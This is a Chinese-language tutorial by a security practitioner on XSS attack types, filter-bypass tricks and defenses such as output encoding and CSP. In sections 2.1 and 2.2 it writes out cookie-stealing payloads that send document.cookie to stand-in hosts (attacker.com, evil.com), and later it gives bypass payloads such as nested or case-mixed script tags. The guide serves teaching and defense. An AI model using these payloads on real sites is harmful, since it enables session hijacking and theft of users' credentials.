1. 初识XSS:你的网站真的安全吗?
大家好,我是老张,在安全圈摸爬滚打了十几年,见过太多因为一个不起眼的小漏洞导致整个项目甚至公司数据泄露的案例。今天,咱们就来聊聊Web安全里最常见、也最容易被开发者忽视的“老朋友”——XSS漏洞。
XSS,全称跨站脚本攻击,听起来挺唬人,但说白了,就是攻击者想方设法在你的网页里插入一段恶意代码,然后让其他用户的浏览器去执行它。这就像有人偷偷在你家客厅的留言板上写了一句“请把家门钥匙放在门口花盆下”,而所有来你家的客人都会看到并照做。最可怕的是,很多情况下,被攻击的用户和网站管理员对此毫无察觉。
我刚开始做开发那会儿,也觉得XSS离自己很远,直到有一次,我们团队的一个内部管理系统被人用一段简单的 <script>alert('你的Cookie是:' + document.cookie)</script> 就给“攻破”了。攻击者通过评论框提交了这段代码,因为后端没有做任何过滤,直接存进了数据库。结果,每个打开评论管理页面的同事,都会弹出一个窗口,里面赫然显示着自己的登录凭证。那一刻,我才真正意识到,安全无小事。
那么,XSS攻击能干什么?远不止弹个窗吓唬人那么简单。攻击者可以利用它盗取用户的登录Cookie,冒充用户身份进行操作;可以监听用户的键盘输入,窃取账号密码;甚至可以在用户不知情的情况下,以其身份发布内容、转账、发送请求。对于开发者来说,理解XSS,不仅是修复漏洞,更是建立起一道保护用户和自己业务的第一道防线。无论你是前端、后端还是全栈,只要你的代码会处理用户输入并输出到网页上,这篇文章都值得你仔细看看。
2. 基础注入:从最简单的 <script> 标签开始
2.1 反射型XSS:一次性的“钓鱼攻击”
反射型XSS,也叫非持久型XSS,是XSS家族里最常见的一种。它的攻击过程就像一次精准的“钓鱼”:攻击者构造一个含有恶意脚本的链接,然后想方设法诱骗用户点击。用户点击后,这个恶意脚本会作为请求的一部分发送到服务器,服务器“反射”回包含这段脚本的页面,最终在用户的浏览器里执行。
听起来有点抽象?我们来看一个我早年踩过的坑。当时我们做了一个搜索页面,URL大概是这样的:https://example.com/search?keyword=手机。后端代码(以PHP为例)可能是这样写的:
// 搜索页面 search.php
$keyword = $_GET['keyword'];
echo "您搜索的关键词是: " . $keyword;
看起来没问题,对吧?但如果攻击者把链接改成:https://example.com/search?keyword=<script>alert('XSS')</script>,会发生什么?后端代码会原封不动地输出:
您搜索的关键词是: <script>alert('XSS')</script>
浏览器在渲染页面时,会认为 <script> 是一个合法的脚本标签,于是愉快地执行了里面的 alert('XSS')。一个弹窗就出来了。这还只是弹窗,如果脚本是 new Image().src='http://attacker.com/steal?cookie='+document.cookie,那么用户的Cookie就会被悄无声息地发送到攻击者的服务器。
实战要点:这种漏洞常出现在搜索框、错误信息提示、URL参数回显等地方。防御的关键在于,所有来自用户输入并即将输出到HTML页面的内容,都必须进行转义处理。对于上面这个例子,正确的做法应该是使用 htmlspecialchars 函数(PHP)或类似的方法进行HTML实体编码:
$keyword = $_GET['keyword'];
echo "您搜索的关键词是: " . htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
这样,尖括号 < 和 > 会被转换成 < 和 >,浏览器就不会把它们解析成标签,而是当作普通文本显示出来。
2.2 存储型XSS:潜伏在数据库里的“定时炸弹”
如果说反射型XSS是“一次性”的,那么存储型XSS就是“持久性”的,危害也更大。攻击者将恶意脚本提交到网站(比如论坛发帖、商品评论、用户昵称),脚本被保存到服务器的数据库里。之后,任何普通用户浏览到包含这段恶意脚本的页面时,脚本都会在其浏览器中自动执行。
我印象最深的一个案例是一个用户中心的“个性签名”功能。后端代码允许用户输入HTML,初衷是让用户能加粗、变色,让签名更美观。但过滤规则写得不严谨,导致攻击者可以插入 <script> 标签。攻击者提交了这样一个签名:
<script>var img = new Image(); img.src = 'http://evil.com/collect?data=' + encodeURIComponent(document.cookie);</script>
这个签名被存入数据库。从此以后,任何一个查看该攻击者个人主页的用户,其Cookie都会被偷偷发送到 evil.com。由于这个过程完全在后台进行,用户毫无感知。
实战要点:存储型XSS的注入点通常是所有允许用户提交内容并持久化存储、然后展示给其他用户看的地方。比如:
- 论坛帖子、评论
- 用户昵称、个人简介
- 聊天消息
- 商品评价
- 文件上传的文件名(如果显示的话)
防御存储型XSS,必须在数据入库前和出库展示时都进行严格的过滤和转义。仅仅在前端用JavaScript过滤是绝对不安全的,因为攻击者可以直接抓包修改请求。一个黄金法则是:永远不要相信客户端传来的任何数据。后端必须对接收到的数据进行验证、清理,并在输出到HTML时进行正确的编码。
3. 进阶技巧:闭合与上下文切换
3.1 属性值内的XSS:突破引号的束缚
很多时候,用户输入被放在了HTML标签的属性值里,比如 <input value="用户输入">。如果开发者只是简单地对尖括号进行转义,攻击者依然可以构造攻击。
假设有一段代码如下:
<input type="text" value="<?php echo $_GET['name']; ?>">
如果攻击者传入 name 的值为 " onmouseover="alert('xss'),那么最终生成的HTML会变成:
<input type="text" value="" onmouseover="alert('xss')">
看明白了吗?攻击者先用一个双引号 " 闭合了 value 属性的值,然后额外添加了一个 onmouseover 事件处理器。当用户把鼠标移动到这个输入框上时,alert 就会被触发。这就是利用了属性值上下文的注入。
绕过技巧:如果服务端过滤了双引号,攻击者可能会尝试单引号,或者不用引号(如果属性值允许)。例如,输入 x autofocus onfocus=alert(1),可能会生成 <input value=x autofocus onfocus=alert(1)>,当输入框自动获得焦点时,脚本就会执行。
防御策略:在将用户输入放入HTML属性值时,除了转义 <、>,还必须转义引号(包括单引号 ' 和双引号 ")。在PHP中,htmlspecialchars 函数的 ENT_QUOTES 标志就是为了同时转义双引号和单引号。
3.2 突破文本域:闭合 <textarea> 标签
<textarea> 标签是一个特殊的HTML元素,它内部的任何内容(包括HTML标签)都会被当作纯文本显示,不会被浏览器解析。这看起来似乎很安全?但攻击者可以通过闭合 </textarea> 标签来提前结束文本域,然后在后面注入新的HTML或脚本。
考虑这样一个评论框:
<textarea>
用户评论内容:<?php echo $comment; ?>
</textarea>
如果用户提交的评论内容是 </textarea><script>alert('xss')</script>,那么最终页面会变成:
<textarea>
用户评论内容:</textarea><script>alert('xss')</script>
</textarea>
浏览器在解析到第一个 </textarea> 时就认为文本域结束了,后面的 <script> 标签会被当作新的HTML元素正常解析执行。
实战绕过:在一些CTF(夺旗赛)或漏洞演练平台中,经常能看到这种题目。防御方法依然是严格的输出编码。无论内容输出在何处,只要它最终会作为HTML的一部分被解析,就必须进行HTML实体编码。
3.3 利用事件处理器:无需 <script> 标签的注入
事件处理器是JavaScript中响应浏览器事件(如点击、鼠标移动、加载)的函数。许多HTML标签都支持事件处理器属性,如 onclick、onmouseover、onload、onerror 等。这为XSS提供了另一条“捷径”。
一个经典的例子是图片标签的 onerror 事件。攻击者可以构造一个无法加载的图片源,从而触发 onerror 执行恶意代码:
<img src="invalid.jpg" onerror="alert('XSS via onerror')">
即使用户输入被限制不能包含 <script> 标签,这种攻击依然可能成功。例如,一个允许用户设置头像URL的功能,如果没有对协议(如 javascript:)进行过滤,攻击者可以提交:
javascript:alert('XSS')
如果这个URL被直接放入 <a href="..."> 或 <img src="...">,就会造成漏洞。
防御方法:
- 白名单校验:对于像URL这类输入,严格校验其协议。只允许
http://、https://、mailto:等安全的协议,坚决拒绝javascript:。 - 属性值编码:将用户输入放入HTML属性时,确保对其中的引号和尖括号进行编码。
- 避免内联事件处理器:在现代前端开发中,尽量避免在HTML中写
onclick这类内联事件。使用addEventListener在JavaScript中绑定事件更安全,也更容易管理。
4. 高级绕过:与过滤规则斗智斗勇
当网站部署了基础的XSS过滤规则后,攻击并不会停止,反而会升级。下面这些高级绕过技巧,是我在渗透测试和代码审计中经常遇到的。
4.1 编码的艺术:HTML实体、URL与JS编码
过滤规则常常是寻找特定的字符串,比如 <script>、onclick=。聪明的攻击者会使用各种编码方式来“伪装”这些关键词。
HTML实体编码:浏览器在解析HTML时,会先将实体编码解码。所以 <script>alert(1)</script> 在输出到HTML后,会被浏览器解码成 <script>alert(1)</script> 并执行。但如果后端在输出时已经做了编码,这个技巧就无效了。然而,有一种情况例外:如果用户输入先被HTML实体编码,然后又被错误地解码了一次,就可能造成漏洞。或者,在JavaScript上下文中,使用 &#xNN; 这种格式的编码有时能绕过一些简单的黑名单过滤。
JavaScript Unicode转义:在JavaScript字符串中,可以使用 \uXXXX 的形式表示Unicode字符。例如,alert(1) 可以写成:
\u0061\u006c\u0065\u0072\u0074(1)
一些粗糙的过滤器可能只匹配 alert 这个单词,而忽略了这种形式。
实战案例:我曾遇到一个过滤器,它会把 <script> 和 javascript: 替换成空字符串。攻击者使用了双重编码:<scr<script>ipt>,当过滤器移除中间的 <script> 后,剩下的字符正好拼凑成新的 <script>。或者使用大小写混淆:<ScRiPt>、<SCRIPT>,因为HTML标签名不区分大小写。
4.2 利用正则过滤的缺陷:贪婪与懒惰
很多自定义的过滤函数会使用正则表达式。如果正则写得不好,很容易被绕过。
例如,一个试图移除所有 <script> 标签的正则:/<script.*?>.*?<\/script>/is。这个正则本意是匹配 <script> 到 </script> 之间的所有内容。但攻击者可以输入:
<script><script>alert(1)</script>
当正则匹配到第一个 <script> 和最后一个 </script> 时,会移除掉整个字符串,但结果却什么也没移除?不对,实际上它移除了从第一个 <script> 到最后一个 </script> 的所有内容,但在这个例子中,这恰好是完整的输入,所以被移除了。但如果攻击者输入:
<script>alert(1)</script><script>
或者利用换行符、制表符等空白字符来干扰正则:<script \n src='evil.js' >。
更高级的绕过是利用正则引擎的“贪婪”与“非贪婪”模式。例如,如果过滤函数是递归删除匹配到的字符串,那么输入 <<script>script>alert(1)</script>,在第一次删除 <script> 后,会剩下 <script>alert(1)</script>,从而成功注入。
防御建议:不要试图用复杂的正则去“净化”HTML,这几乎是一场必输的战斗。应该采用“默认拒绝,白名单允许”的策略。使用成熟的库(如PHP的 HTML Purifier,Python的 bleach),只允许一组安全的标签和属性通过,其他一律拒绝或编码。
4.3 伪协议与数据协议:javascript: 与 data:
除了 http:// 和 https://,浏览器还支持一些特殊的URL协议,其中 javascript: 和 data: 常被用于XSS。
javascript:协议:当浏览器加载一个javascript:协议的URL时,会执行冒号后面的JavaScript代码。例如:<a href="javascript:alert(document.cookie)">点击我</a>。防御方法是在拼接URL前,严格检查其协议头,只允许白名单内的协议。data:协议:data:协议允许在URL中直接嵌入数据,如图片、HTML甚至脚本。例如:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">。这段Base64解码后就是<script>alert(1)</script>。同样,需要从协议头进行阻断。
4.4 CSS表达式与SVG:非主流的攻击向量
在一些古老的浏览器(如IE7及以下)中,CSS的 expression() 函数可以执行JavaScript。虽然现代浏览器已不支持,但了解它有助于理解攻击思路:
<div style="width: expression(alert('XSS'))">
SVG(可缩放矢量图形)文件本身是XML格式,可以内嵌JavaScript。如果网站允许用户上传SVG作为图片并直接渲染,就可能带来风险:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
防御:对于用户上传的文件,一定要进行严格的内容类型检查和安全处理。图片文件应该由服务器进行二次渲染或转换,剥离任何非图像的元数据。
5. 实战演练:剖析一个XSS挑战关卡
光说不练假把式。我们结合一个简化版的XSS挑战来拆解攻击者的思路。假设有一个页面,其核心代码如下:
<input type="text" id="search" value="关键词:<?php echo $_GET['q']; ?>">
<div>您搜索的结果是:<?php echo $_GET['q']; ?></div>
目标:注入一个脚本,成功执行 alert(document.domain)。
第一步:观察输出点
用户输入的 q 参数被用在了两个地方:
- 在
<input>标签的value属性内部。 - 在
<div>标签的文本内容内部。
第二步:尝试基础注入
直接输入 <script>alert(document.domain)</script>。结果可能是:
<div>部分成功执行了脚本,弹窗了。因为<div>内部是HTML上下文,<script>标签被解析。- 但
<input>的value里,这段代码被当作普通文本显示了出来,因为属性值里的尖括号被HTML编码了?不一定,这取决于后端处理。
第三步:针对属性上下文构造Payload
如果 <input> 的 value 没有正确编码,我们可以尝试闭合属性。输入 " onfocus="alert(document.domain)。生成的HTML为:
<input type="text" id="search" value="关键词:" onfocus="alert(document.domain)">
这样,当这个输入框获得焦点时,就会触发弹窗。为了自动触发,可以加上 autofocus 属性:" autofocus onfocus="alert(document.domain)。
第四步:应对过滤
假设网站过滤了 onfocus 和 alert 关键词。我们可以尝试:
- 大小写混淆:
" OnFoCuS="AlErT(document.domain) - HTML实体编码:将部分字符编码,如
" onfocus="alert(document.domain),但注意浏览器在解析HTML属性时,会先解码实体再执行JavaScript,所以o会被解码成字母o。 - 利用JavaScript函数:不用
alert,用prompt、confirm,或者更隐蔽的console.log结合外部请求。 - 使用Unicode转义:在JavaScript字符串中,
\u0061\u006c\u0065\u0072\u0074等价于alert。
第五步:利用事件冒泡或稀有事件
如果常见的事件都被过滤了,可以尝试一些不常用的事件,如 onauxclick、onblur、oncopy 等,或者利用父元素的事件冒泡。
通过这个简单的例子,你可以看到,XSS攻击是一个“见招拆招”的过程。防御方需要覆盖所有可能的攻击面,而攻击方只需要找到一个被遗漏的缺口。
6. 构建防线:系统性的XSS防御策略
单一的防御措施很容易被绕过,我们需要建立一个纵深防御体系。
6.1 输入验证与输出编码
这是防御XSS的基石,必须双管齐下。
- 输入验证:在数据进入系统时就进行严格检查。例如,邮箱字段必须符合邮箱格式,用户名只能包含字母数字,长度在合理范围内。使用白名单原则,只接受符合预期格式的数据。这能阻挡大量畸形和恶意的输入。
- 输出编码:这是最关键的一步。根据数据将要放置的上下文(Context),选择正确的编码方式。
- HTML正文上下文:使用HTML实体编码。将
<、>、&、"、'等字符转换为<、>、&、"、'。 - HTML属性上下文:同上,也需要HTML实体编码。特别注意,属性值应该始终用引号括起来。
- JavaScript上下文:如果要将数据插入到
<script>标签内的JavaScript变量中,需要使用JavaScript字符串编码。将数据放入引号中,并转义引号和反斜杠等字符。更好的做法是避免动态生成JavaScript,而是通过DOM API来操作。 - URL上下文:如果要将数据作为URL的一部分(如
href、src),需要使用URL编码(encodeURIComponent)。 - CSS上下文:极少需要将用户输入放入CSS中。如果必须,需进行严格的CSS编码。
- HTML正文上下文:使用HTML实体编码。将
切记:编码必须在输出时进行,并且要针对具体的上下文。 在数据存储时进行编码,可能会导致数据在不同场景下显示错误(乱码)。
6.2 利用安全框架与库
不要重复造轮子,尤其是安全相关的轮子。现代Web开发框架通常内置了良好的XSS防护机制。
- 前端框架:React、Vue、Angular等现代框架在默认情况下都会对渲染的数据进行转义,除非你刻意使用
dangerouslySetInnerHTML(React)或v-html(Vue)这样的危险API。尽量避免使用这些API。 - 模板引擎:大多数服务端模板引擎(如Jinja2 for Python, Thymeleaf for Java, Blade for PHP)都默认开启了自动转义。确保你没有使用“原始输出”的标签或关闭了自动转义功能。
- 专门的编码库:对于复杂的场景,可以使用OWASP Java Encoder、DOMPurify(用于客户端)等经过严格安全审计的库。
6.3 内容安全策略(CSP):最后一道坚固壁垒
CSP(Content Security Policy)是一个HTTP响应头,它告诉浏览器哪些资源(脚本、样式、图片、字体等)是允许加载和执行的。它可以极大地缓解XSS攻击带来的损害。
一个严格的CSP策略可能长这样:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src *; font-src 'self'
这个策略的意思是:
default-src 'self':默认只允许加载同源的资源。script-src 'self' https://trusted.cdn.com:脚本只能来自本站,或者指定的可信CDN。这阻止了攻击者注入来自外域的恶意脚本。style-src 'self' 'unsafe-inline':样式允许同源和行内样式(unsafe-inline有一定风险,但有时必要)。img-src *:图片可以从任何地方加载。font-src 'self':字体只能来自同源。
即使攻击者成功注入了 <script src="http://evil.com/bad.js">,浏览器也会因为CSP的限制而拒绝加载和执行这个脚本。CSP是防御XSS的终极武器之一,强烈建议在所有生产环境中部署。
6.4 其他补充措施
- 设置HttpOnly Cookie:给敏感的Cookie(如Session ID)标记上
HttpOnly属性。这样,JavaScript(document.cookie)就无法读取这些Cookie,即使发生XSS,攻击者也无法直接窃取会话。 - 输入长度限制:虽然不能从根本上阻止XSS,但可以增加攻击者构造复杂Payload的难度。
- 使用验证码:对于关键操作(如发表评论、修改密码),引入验证码可以防止自动化攻击脚本的大规模利用。
7. 总结与持续学习
XSS漏洞的攻防是一场持续不断的博弈。攻击技术在进化,防御手段也需要不断更新。作为开发者,最重要的不是记住每一个Payload,而是理解其背后的原理:“不可信的数据在未经验证和编码的情况下,被当作代码执行”。
回顾一下核心防御思路:
- 对所有用户输入进行严格的、基于白名单的验证。
- 在输出数据到不同上下文(HTML、JS、URL、CSS)时,进行正确的编码。
- 利用现代框架和模板引擎的安全特性,避免手动拼接HTML。
- 部署内容安全策略(CSP),为你的网站加上一道“白名单”护栏。
- 保持警惕和安全意识,在代码审查和测试中,始终将安全放在重要位置。
安全不是一次性的功能,而是一个持续的过程。建议定期使用自动化扫描工具(如OWASP ZAP、Burp Suite)对应用进行安全测试,也可以参与一些在线的XSS挑战平台(如我们文章开头提到的 xss.haozi.me)来保持手感。多读读OWASP的Cheat Sheet,关注安全社区的最新动态。记住,保护你的用户,也就是在保护你的产品和声誉。

931

被折叠的 条评论
为什么被折叠?



